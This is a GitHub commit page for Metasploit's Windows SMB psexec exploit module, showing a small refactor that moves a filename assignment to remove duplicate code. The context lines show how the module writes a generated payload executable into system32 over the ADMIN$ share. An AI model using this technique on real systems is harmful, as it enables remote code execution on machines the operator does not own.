Skip to content

Commit 95b0d4e

Browse files
committed
move filename init up to remove dup code
as suggested by @jlee-r7
1 parent 71c68d0 commit 95b0d4e

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/windows/smb/psexec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -125,6 +125,8 @@ def exploit
125125
report_auth_info(report_hash)
126126
end
127127

128+
filename = datastore['SERVICE_FILENAME'] ? datastore['SERVICE_FILENAME'] : rand_text_alpha(8) + ".exe"
129+
128130
if datastore['MOF_UPLOAD_METHOD']
129131
# payload as exe
130132
print_status("Trying wbemexec...")
@@ -134,7 +136,6 @@ def exploit
134136
return
135137
end
136138
simple.connect("ADMIN$")
137-
datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
138139
exe = generate_payload_exe
139140
fd = smb_open("\\system32\\#{filename}", 'rwct')
140141
fd << exe
@@ -153,7 +154,6 @@ def exploit
153154
# Disconnect from the ADMIN$
154155
simple.disconnect("ADMIN$")
155156
else
156-
datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
157157
servicename = rand_text_alpha(8)
158158

159159
# Upload the shellcode to a file

0 commit comments

Comments
 (0)